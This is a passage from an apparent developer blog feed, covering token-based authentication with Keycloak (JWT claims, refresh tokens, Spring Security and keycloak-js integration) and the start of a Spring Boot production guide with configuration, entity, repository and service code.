</span><span class="nl">"realm_access"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"user"</span><span class="p">,</span><span class="w"> </span><span class="s2">"admin"</span><span class="p">]</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"resource_access"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"account"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"roles"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"manage-account"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"scope"</span><span class="p">:</span><span class="w"> </span><span class="s2">"profile email"</span><span class="p">,</span><span class="w">
</span><span class="nl">"sid"</span><span class="p">:</span><span class="w"> </span><span class="s2">"e70b1c18-c5ea-47b2-9e11-c6109d413515"</span><span class="p">,</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Jane Doe"</span><span class="p">,</span><span class="w">
</span><span class="nl">"preferred_username"</span><span class="p">:</span><span class="w"> </span><span class="s2">"jane.doe"</span><span class="p">,</span><span class="w">
</span><span class="nl">"given_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Jane"</span><span class="p">,</span><span class="w">
</span><span class="nl">"family_name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Doe"</span><span class="p">,</span><span class="w">
</span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[email protected]"</span><span class="w">
</span><span class="p">}</span></code></pre></figure>
<h3 id="refresh-tokens">Refresh Tokens</h3>
<p>Refresh tokens are longer-lived credentials that:</p>
<ul>
<li>Allow obtaining new access tokens without re-authentication</li>
<li>Are typically valid for days or weeks</li>
<li>Must be securely stored client-side</li>
<li>Are invalidated if compromised</li>
</ul>
<h2 id="the-authentication-flow">The Authentication Flow</h2>
<p>A complete token-based authentication flow works as follows:</p>
<ol>
<li><strong>Initial Authentication</strong>:
<ul>
<li>User provides credentials</li>
<li>Server validates credentials and issues access + refresh tokens</li>
<li>Tokens are returned to client</li>
</ul>
</li>
<li><strong>Accessing Protected Resources</strong>:
<ul>
<li>Client includes access token with each request</li>
<li>Server validates token signature and claims</li>
<li>Server authorizes the request based on token claims</li>
</ul>
</li>
<li><strong>Token Renewal</strong>:
<ul>
<li>When access token expires, client uses refresh token to obtain new tokens</li>
<li>If refresh token is valid, new access and refresh tokens are issued</li>
<li>If refresh token is expired or invalid, user must re-authenticate</li>
</ul>
</li>
</ol>
<h2 id="security-considerations">Security Considerations</h2>
<p>Implementing token-based authentication requires addressing several security concerns:</p>
<h3 id="token-storage">Token Storage</h3>
<ul>
<li><strong>Access tokens</strong>: Can be stored in memory or session storage</li>
<li><strong>Refresh tokens</strong>: Should be stored in secure HTTP-only cookies or secure storage</li>
<li><strong>Never</strong> store tokens in localStorage due to XSS vulnerabilities</li>
</ul>
<h3 id="token-validation">Token Validation</h3>
<p>Backend services must:</p>
<ol>
<li>Verify token signature using the correct public key</li>
<li>Validate the token’s expiration time</li>
<li>Check issuer and audience claims</li>
<li>Verify that the token hasn’t been revoked (if using token blacklisting)</li>
</ol>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">JwtTokenValidator</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">RSAPublicKey</span> <span class="n">publicKey</span><span class="o">;</span>
<span class="kd">public</span> <span class="nf">JwtTokenValidator</span><span class="o">(</span><span class="nc">RSAPublicKey</span> <span class="n">publicKey</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">publicKey</span> <span class="o">=</span> <span class="n">publicKey</span><span class="o">;</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="nc">Jws</span><span class="o"><</span><span class="nc">Claims</span><span class="o">></span> <span class="nf">validateToken</span><span class="o">(</span><span class="nc">String</span> <span class="n">token</span><span class="o">)</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="k">return</span> <span class="nc">Jwts</span><span class="o">.</span><span class="na">parserBuilder</span><span class="o">()</span>
<span class="o">.</span><span class="na">setSigningKey</span><span class="o">(</span><span class="n">publicKey</span><span class="o">)</span>
<span class="o">.</span><span class="na">build</span><span class="o">()</span>
<span class="o">.</span><span class="na">parseClaimsJws</span><span class="o">(</span><span class="n">token</span><span class="o">);</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">JwtException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">InvalidTokenException</span><span class="o">(</span><span class="s">"Invalid JWT token: "</span> <span class="o">+</span> <span class="n">e</span><span class="o">.</span><span class="na">getMessage</span><span class="o">());</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="token-revocation">Token Revocation</h3>
<p>Unlike stateless JWT validation, token revocation requires:</p>
<ul>
<li>Maintaining a blacklist of revoked tokens</li>
<li>Checking against this blacklist during validation</li>
<li>Implementing refresh token rotation for better security</li>
</ul>
<h2 id="introducing-keycloak">Introducing Keycloak</h2>
<p>Keycloak is an open-source identity and access management solution that implements all the patterns discussed above and provides:</p>
<ul>
<li><strong>Complete OAuth2/OIDC implementation</strong>: Full support for modern authentication protocols</li>
<li><strong>Centralized auth management</strong>: Single place to manage users, roles, and permissions</li>
<li><strong>Customizable login flows</strong>: Support for MFA, social login, and custom authenticators</li>
<li><strong>Token customization</strong>: Ability to add custom claims and control token lifespans</li>
<li><strong>Session management</strong>: Tracking and managing user sessions across applications</li>
</ul>
<h2 id="setting-up-keycloak">Setting Up Keycloak</h2>
<h3 id="docker-deployment">Docker Deployment</h3>
<p>The quickest way to get started with Keycloak is using Docker:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">docker run <span class="nt">-p</span> 8080:8080 <span class="nt">-e</span> <span class="nv">KEYCLOAK_ADMIN</span><span class="o">=</span>admin <span class="nt">-e</span> <span class="nv">KEYCLOAK_ADMIN_PASSWORD</span><span class="o">=</span>admin quay.io/keycloak/keycloak:22.0.0 start-dev</code></pre></figure>
<h3 id="basic-configuration">Basic Configuration</h3>
<p>Once Keycloak is running:</p>
<ol>
<li>Create a new realm (e.g., “app-realm”)</li>
<li>Create client(s) for your application(s)</li>
<li>Configure client settings:
<ul>
<li>Valid redirect URIs</li>
<li>Web origins (CORS)</li>
<li>Access type (confidential for server-side apps)</li>
<li>Scope and token settings</li>
</ul>
</li>
</ol>
<h2 id="implementing-authentication-with-keycloak-and-spring-boot">Implementing Authentication with Keycloak and Spring Boot</h2>
<h3 id="backend-integration">Backend Integration</h3>
<p>For a Spring Boot application, integration is straightforward using Spring Security OAuth2:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Configuration</span>
<span class="nd">@EnableWebSecurity</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">SecurityConfig</span> <span class="o">{</span>
<span class="nd">@Bean</span>
<span class="kd">public</span> <span class="nc">SecurityFilterChain</span> <span class="nf">filterChain</span><span class="o">(</span><span class="nc">HttpSecurity</span> <span class="n">http</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="n">http</span>
<span class="o">.</span><span class="na">authorizeRequests</span><span class="o">(</span><span class="n">authorize</span> <span class="o">-></span> <span class="n">authorize</span>
<span class="o">.</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/api/public/**"</span><span class="o">).</span><span class="na">permitAll</span><span class="o">()</span>
<span class="o">.</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/api/admin/**"</span><span class="o">).</span><span class="na">hasRole</span><span class="o">(</span><span class="s">"ADMIN"</span><span class="o">)</span>
<span class="o">.</span><span class="na">antMatchers</span><span class="o">(</span><span class="s">"/api/**"</span><span class="o">).</span><span class="na">authenticated</span><span class="o">()</span>
<span class="o">)</span>
<span class="o">.</span><span class="na">oauth2ResourceServer</span><span class="o">(</span><span class="n">oauth2</span> <span class="o">-></span> <span class="n">oauth2</span>
<span class="o">.</span><span class="na">jwt</span><span class="o">(</span><span class="n">jwt</span> <span class="o">-></span> <span class="n">jwt</span>
<span class="o">.</span><span class="na">jwtAuthenticationConverter</span><span class="o">(</span><span class="n">jwtAuthenticationConverter</span><span class="o">())</span>
<span class="o">)</span>
<span class="o">);</span>
<span class="k">return</span> <span class="n">http</span><span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">private</span> <span class="nc">JwtAuthenticationConverter</span> <span class="nf">jwtAuthenticationConverter</span><span class="o">()</span> <span class="o">{</span>
<span class="nc">JwtGrantedAuthoritiesConverter</span> <span class="n">jwtGrantedAuthoritiesConverter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JwtGrantedAuthoritiesConverter</span><span class="o">();</span>
<span class="n">jwtGrantedAuthoritiesConverter</span><span class="o">.</span><span class="na">setAuthoritiesClaimName</span><span class="o">(</span><span class="s">"realm_access.roles"</span><span class="o">);</span>
<span class="n">jwtGrantedAuthoritiesConverter</span><span class="o">.</span><span class="na">setAuthorityPrefix</span><span class="o">(</span><span class="s">"ROLE_"</span><span class="o">);</span>
<span class="nc">JwtAuthenticationConverter</span> <span class="n">jwtAuthenticationConverter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">JwtAuthenticationConverter</span><span class="o">();</span>
<span class="n">jwtAuthenticationConverter</span><span class="o">.</span><span class="na">setJwtGrantedAuthoritiesConverter</span><span class="o">(</span><span class="n">jwtGrantedAuthoritiesConverter</span><span class="o">);</span>
<span class="k">return</span> <span class="n">jwtAuthenticationConverter</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>Configure application properties:</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="na">spring</span><span class="pi">:</span>
<span class="na">security</span><span class="pi">:</span>
<span class="na">oauth2</span><span class="pi">:</span>
<span class="na">resourceserver</span><span class="pi">:</span>
<span class="na">jwt</span><span class="pi">:</span>
<span class="na">issuer-uri</span><span class="pi">:</span> <span class="s">http://localhost:8080/realms/app-realm</span>
<span class="na">jwk-set-uri</span><span class="pi">:</span> <span class="s">http://localhost:8080/realms/app-realm/protocol/openid-connect/certs</span></code></pre></figure>
<h3 id="frontend-integration">Frontend Integration</h3>
<p>On the frontend, you can use libraries like <code class="language-plaintext highlighter-rouge">keycloak-js</code>:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="k">import</span> <span class="nx">Keycloak</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">keycloak-js</span><span class="dl">'</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">keycloak</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Keycloak</span><span class="p">({</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://localhost:8080</span><span class="dl">'</span><span class="p">,</span>
<span class="na">realm</span><span class="p">:</span> <span class="dl">'</span><span class="s1">app-realm</span><span class="dl">'</span><span class="p">,</span>
<span class="na">clientId</span><span class="p">:</span> <span class="dl">'</span><span class="s1">frontend-client</span><span class="dl">'</span>
<span class="p">});</span>
<span class="nx">keycloak</span><span class="p">.</span><span class="nx">init</span><span class="p">({</span>
<span class="na">onLoad</span><span class="p">:</span> <span class="dl">'</span><span class="s1">check-sso</span><span class="dl">'</span><span class="p">,</span>
<span class="na">silentCheckSsoRedirectUri</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">/silent-check-sso.html</span><span class="dl">'</span><span class="p">,</span>
<span class="na">pkceMethod</span><span class="p">:</span> <span class="dl">'</span><span class="s1">S256</span><span class="dl">'</span>
<span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="nx">authenticated</span> <span class="o">=></span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">authenticated</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">initApp</span><span class="p">(</span><span class="nx">keycloak</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="nx">doLogin</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Keycloak init failed:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">);</span>
<span class="p">});</span>
<span class="c1">// Automatic token refresh</span>
<span class="nx">keycloak</span><span class="p">.</span><span class="nx">onTokenExpired</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Token expired, refreshing...</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">keycloak</span><span class="p">.</span><span class="nx">updateToken</span><span class="p">(</span><span class="mi">30</span><span class="p">).</span><span class="k">catch</span><span class="p">(()</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Failed to refresh token, logging out...</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">keycloak</span><span class="p">.</span><span class="nx">logout</span><span class="p">();</span>
<span class="p">});</span>
<span class="p">};</span>
<span class="c1">// Making authenticated requests</span>
<span class="kd">function</span> <span class="nx">fetchProtectedResource</span><span class="p">()</span> <span class="p">{</span>
<span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://api.example.com/protected</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
<span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
<span class="dl">'</span><span class="s1">Authorization</span><span class="dl">'</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Bearer </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">keycloak</span><span class="p">.</span><span class="nx">token</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=></span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">())</span>
<span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=></span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">))</span>
<span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="nx">error</span> <span class="o">=></span> <span class="nx">console</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Error:</span><span class="dl">'</span><span class="p">,</span> <span class="nx">error</span><span class="p">));</span>
<span class="p">}</span></code></pre></figure>
<h2 id="advanced-keycloak-features">Advanced Keycloak Features</h2>
<h3 id="session-management">Session Management</h3>
<p>Keycloak provides extensive session management capabilities:</p>
<ul>
<li>View and manage active sessions in the admin console</li>
<li>Set session timeouts at realm and client levels</li>
<li>Implement single sign-out across applications</li>
<li>Track login history and detect suspicious activity</li>
</ul>
<h3 id="event-logging-and-auditing">Event Logging and Auditing</h3>
<p>For security monitoring, Keycloak offers comprehensive event logging:</p>
<ul>
<li>Authentication events (logins, logouts, failures)</li>
<li>Administrative events (configuration changes)</li>
<li>Custom event listeners for integration with external systems</li>
</ul>
<h3 id="user-federation">User Federation</h3>
<p>Keycloak can integrate with existing user directories:</p>
<ul>
<li>LDAP/Active Directory integration</li>
<li>Custom user storage providers</li>
<li>User attribute synchronization</li>
</ul>
<h2 id="real-world-considerations">Real-World Considerations</h2>
<h3 id="multiple-client-types">Multiple Client Types</h3>
<p>In a typical architecture, you might have:</p>
<ul>
<li><strong>Public clients</strong>: Single-page applications or mobile apps</li>
<li><strong>Confidential clients</strong>: Backend services with client secrets</li>
<li><strong>Service accounts</strong>: Machine-to-machine communication</li>
</ul>
<p>Each requires different security configurations in Keycloak.</p>
<h3 id="microservices-authorization">Microservices Authorization</h3>
<p>For microservices architectures:</p>
<ul>
<li>Use fine-grained role-based access control</li>
<li>Implement custom authorization policies</li>
<li>Consider using Keycloak Authorization Services for complex scenarios</li>
</ul>
<h3 id="performance-optimization">Performance Optimization</h3>
<p>For high-traffic applications:</p>
<ul>
<li>Implement token caching</li>
<li>Consider using offline tokens for mobile applications</li>
<li>Use token introspection judiciously (it adds network overhead)</li>
</ul>
<h2 id="conclusion">Conclusion</h2>
<p>Token-based authentication with access and refresh tokens provides a robust security model for modern applications. Keycloak simplifies the implementation of these patterns while offering extensive customization options.</p>
<p>By understanding the underlying concepts and security considerations, you can implement authentication systems that are both secure and user-friendly.</p>
<p>In future posts, I’ll explore advanced Keycloak features such as custom authenticators, token exchange, and integrating with external identity providers.</p>
<p>What authentication challenges are you facing in your projects? Share in the comments below.</p>
Spring Boot - From Zero to Production
2025-02-03T00:00:00+00:00
https://sugan.dev/2025/02/03/springboot-zero-to-production
<div class="message">
A comprehensive guide to building production-ready applications with Spring Boot, focusing on best practices and real-world challenges.
</div>
<p>Spring Boot has revolutionized Java application development by simplifying the bootstrap and development process. In this post, I’ll cover the journey from initial setup to production deployment, highlighting key practices I’ve implemented across multiple projects.</p>
<h2 id="why-spring-boot">Why Spring Boot?</h2>
<p>Spring Boot eliminates much of the boilerplate configuration required in traditional Spring applications:</p>
<ul>
<li><strong>Opinionated defaults</strong>: Works out of the box with sensible configurations</li>
<li><strong>Standalone</strong>: Run as a self-contained application with embedded servers</li>
<li><strong>Production-ready</strong>: Built-in metrics, health checks, and externalized configuration</li>
<li><strong>No code generation</strong>: No XML configuration required</li>
</ul>
<h2 id="setting-up-a-spring-boot-project">Setting Up a Spring Boot Project</h2>
<p>The quickest way to bootstrap a Spring Boot application is using Spring Initializr:</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash">curl https://start.spring.io/starter.tgz <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">dependencies</span><span class="o">=</span>web,data-jpa,postgresql,actuator,validation <span class="se">\</span>
<span class="nt">-d</span> <span class="nb">type</span><span class="o">=</span>gradle-project <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">bootVersion</span><span class="o">=</span>3.2.0 <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">groupId</span><span class="o">=</span>com.example <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">artifactId</span><span class="o">=</span>demo-service <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">packageName</span><span class="o">=</span>com.example.demo <span class="se">\</span>
<span class="nt">-d</span> <span class="nv">javaVersion</span><span class="o">=</span>17 | <span class="nb">tar</span> <span class="nt">-xzvf</span> -</code></pre></figure>
<h2 id="core-application-components">Core Application Components</h2>
<h3 id="application-configuration">Application Configuration</h3>
<p>Spring Boot’s externalized configuration is powerful for managing different environments:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Configuration</span>
<span class="nd">@ConfigurationProperties</span><span class="o">(</span><span class="n">prefix</span> <span class="o">=</span> <span class="s">"app"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ApplicationProperties</span> <span class="o">{</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">apiKey</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">cacheTimeToLiveSeconds</span><span class="o">;</span>
<span class="kd">private</span> <span class="nc">Retry</span> <span class="n">retry</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Retry</span><span class="o">();</span>
<span class="c1">// Getters and setters</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kd">class</span> <span class="nc">Retry</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kt">int</span> <span class="n">maxAttempts</span> <span class="o">=</span> <span class="mi">3</span><span class="o">;</span>
<span class="kd">private</span> <span class="kt">long</span> <span class="n">backoffMillis</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
<span class="c1">// Getters and setters</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>In <code class="language-plaintext highlighter-rouge">application.yml</code>:</p>
<figure class="highlight"><pre><code class="language-yaml" data-lang="yaml"><span class="na">app</span><span class="pi">:</span>
<span class="na">api-key</span><span class="pi">:</span> <span class="s">${API_KEY:default-key}</span>
<span class="na">cache-time-to-live-seconds</span><span class="pi">:</span> <span class="m">300</span>
<span class="na">retry</span><span class="pi">:</span>
<span class="na">max-attempts</span><span class="pi">:</span> <span class="m">5</span>
<span class="na">backoff-millis</span><span class="pi">:</span> <span class="m">2000</span>
<span class="na">spring</span><span class="pi">:</span>
<span class="na">profiles</span><span class="pi">:</span>
<span class="na">active</span><span class="pi">:</span> <span class="s">${SPRING_PROFILES_ACTIVE:dev}</span>
<span class="na">datasource</span><span class="pi">:</span>
<span class="na">url</span><span class="pi">:</span> <span class="s">jdbc:postgresql://${DB_HOST:localhost}:${DB_PORT:5432}/${DB_NAME:app}</span>
<span class="na">username</span><span class="pi">:</span> <span class="s">${DB_USER:postgres}</span>
<span class="na">password</span><span class="pi">:</span> <span class="s">${DB_PASSWORD:postgres}</span>
<span class="na">jpa</span><span class="pi">:</span>
<span class="na">hibernate</span><span class="pi">:</span>
<span class="na">ddl-auto</span><span class="pi">:</span> <span class="s">validate</span>
<span class="na">properties</span><span class="pi">:</span>
<span class="na">hibernate</span><span class="pi">:</span>
<span class="na">jdbc</span><span class="pi">:</span>
<span class="na">batch_size</span><span class="pi">:</span> <span class="m">50</span>
<span class="na">cache</span><span class="pi">:</span>
<span class="na">type</span><span class="pi">:</span> <span class="s">caffeine</span>
<span class="na">caffeine</span><span class="pi">:</span>
<span class="na">spec</span><span class="pi">:</span> <span class="s">maximumSize=500,expireAfterAccess=600s</span>
<span class="na">management</span><span class="pi">:</span>
<span class="na">endpoints</span><span class="pi">:</span>
<span class="na">web</span><span class="pi">:</span>
<span class="na">exposure</span><span class="pi">:</span>
<span class="na">include</span><span class="pi">:</span> <span class="s">health,info,prometheus</span>
<span class="na">endpoint</span><span class="pi">:</span>
<span class="na">health</span><span class="pi">:</span>
<span class="na">show-details</span><span class="pi">:</span> <span class="s">when_authorized</span></code></pre></figure>
<h3 id="entity-and-repository-layer">Entity and Repository Layer</h3>
<p>For domain entities and repositories, I prefer a clean, focused approach:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Entity</span>
<span class="nd">@Table</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"products"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Product</span> <span class="o">{</span>
<span class="nd">@Id</span>
<span class="nd">@GeneratedValue</span><span class="o">(</span><span class="n">strategy</span> <span class="o">=</span> <span class="nc">GenerationType</span><span class="o">.</span><span class="na">IDENTITY</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">;</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">nullable</span> <span class="o">=</span> <span class="kc">false</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">name</span><span class="o">;</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">nullable</span> <span class="o">=</span> <span class="kc">false</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">BigDecimal</span> <span class="n">price</span><span class="o">;</span>
<span class="nd">@Enumerated</span><span class="o">(</span><span class="nc">EnumType</span><span class="o">.</span><span class="na">STRING</span><span class="o">)</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">nullable</span> <span class="o">=</span> <span class="kc">false</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">ProductCategory</span> <span class="n">category</span><span class="o">;</span>
<span class="nd">@Column</span><span class="o">(</span><span class="n">length</span> <span class="o">=</span> <span class="mi">2000</span><span class="o">)</span>
<span class="kd">private</span> <span class="nc">String</span> <span class="n">description</span><span class="o">;</span>
<span class="nd">@CreatedDate</span>
<span class="kd">private</span> <span class="nc">Instant</span> <span class="n">createdAt</span><span class="o">;</span>
<span class="nd">@LastModifiedDate</span>
<span class="kd">private</span> <span class="nc">Instant</span> <span class="n">updatedAt</span><span class="o">;</span>
<span class="c1">// Getters, setters, equals, hashCode, toString</span>
<span class="o">}</span>
<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">ProductRepository</span> <span class="kd">extends</span> <span class="nc">JpaRepository</span><span class="o"><</span><span class="nc">Product</span><span class="o">,</span> <span class="nc">Long</span><span class="o">></span> <span class="o">{</span>
<span class="nc">List</span><span class="o"><</span><span class="nc">Product</span><span class="o">></span> <span class="nf">findByCategoryOrderByName</span><span class="o">(</span><span class="nc">ProductCategory</span> <span class="n">category</span><span class="o">);</span>
<span class="nd">@Query</span><span class="o">(</span><span class="s">"SELECT p FROM Product p WHERE p.price BETWEEN :min AND :max"</span><span class="o">)</span>
<span class="nc">Page</span><span class="o"><</span><span class="nc">Product</span><span class="o">></span> <span class="nf">findByPriceRange</span><span class="o">(</span>
<span class="nd">@Param</span><span class="o">(</span><span class="s">"min"</span><span class="o">)</span> <span class="nc">BigDecimal</span> <span class="n">min</span><span class="o">,</span>
<span class="nd">@Param</span><span class="o">(</span><span class="s">"max"</span><span class="o">)</span> <span class="nc">BigDecimal</span> <span class="n">max</span><span class="o">,</span>
<span class="nc">Pageable</span> <span class="n">pageable</span><span class="o">);</span>
<span class="o">}</span></code></pre></figure>
<h3 id="service-layer">Service Layer</h3>
<p>The service layer implements business logic and transaction boundaries:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Service</span>
<span class="nd">@RequiredArgsConstructor</span>
<span class="nd">@Transactional</span><span class="o">(</span><span class="n">readOnly</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ProductService</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">ProductRepository</span> <span class="n">productRepository</span><span class="o">;</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">ProductMapper</span> <span class="n">productMapper</span><span class="o">;</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">ApplicationProperties</span> <span class="n">appProperties</span><span class="o">;</span>
<span class="nd">@Cacheable</span><span class="o">(</span><span class="s">"products"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">List</span><span class="o"><</span><span class="nc">ProductDTO</span><span class="o">></span> <span class="nf">getProductsByCategory</span><span class="o">(</span><span class="nc">ProductCategory</span> <span class="n">category</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">productRepository</span><span class="o">.</span><span class="na">findByCategoryOrderByName</span><span class="o">(</span><span class="n">category</span><span class="o">).</span><span class="na">stream</span><span class="o">()</span>
<span class="o">.</span><span class="na">map</span><span class="o">(</span><span class="nl">productMapper:</span><span class="o">:</span><span class="n">toDto</span><span class="o">)</span>
<span class="o">.</span><span class="na">collect</span><span class="o">(</span><span class="nc">Collectors</span><span class="o">.</span><span class="na">toList</span><span class="o">());</span>
<span class="o">}</span>
<span class="nd">@Transactional</span>
<span class="kd">public</span> <span class="nc">ProductDTO</span> <span class="nf">createProduct</span><span class="o">(</span><span class="nc">CreateProductRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Product</span> <span class="n">product</span> <span class="o">=</span> <span class="n">productMapper</span><span class="o">.</span><span class="na">toEntity</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
<span class="nc">Product</span> <span class="n">saved</span> <span class="o">=</span> <span class="n">productRepository</span><span class="o">.</span><span class="na">save</span><span class="o">(</span><span class="n">product</span><span class="o">);</span>
<span class="k">return</span> <span class="n">productMapper</span><span class="o">.</span><span class="na">toDto</span><span class="o">(</span><span class="n">saved</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@Transactional</span>
<span class="nd">@CacheEvict</span><span class="o">(</span><span class="n">value</span> <span class="o">=</span> <span class="s">"products"</span><span class="o">,</span> <span class="n">allEntries</span> <span class="o">=</span> <span class="kc">true</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">updateProductPrice</span><span class="o">(</span><span class="nc">Long</span> <span class="n">id</span><span class="o">,</span> <span class="nc">BigDecimal</span> <span class="n">newPrice</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Product</span> <span class="n">product</span> <span class="o">=</span> <span class="n">productRepository</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">id</span><span class="o">)</span>
<span class="o">.</span><span class="na">orElseThrow</span><span class="o">(()</span> <span class="o">-></span> <span class="k">new</span> <span class="nc">ResourceNotFoundException</span><span class="o">(</span><span class="s">"Product not found"</span><span class="o">));</span>
<span class="n">product</span><span class="o">.</span><span class="na">setPrice</span><span class="o">(</span><span class="n">newPrice</span><span class="o">);</span>
<span class="n">productRepository</span><span class="o">.</span><span class="na">save</span><span class="o">(</span><span class="n">product</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="controller-layer">Controller Layer</h3>
<p>Controllers should be thin, delegating business logic to services:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@RestController</span>
<span class="nd">@RequestMapping</span><span class="o">(</span><span class="s">"/api/products"</span><span class="o">)</span>
<span class="nd">@RequiredArgsConstructor</span>
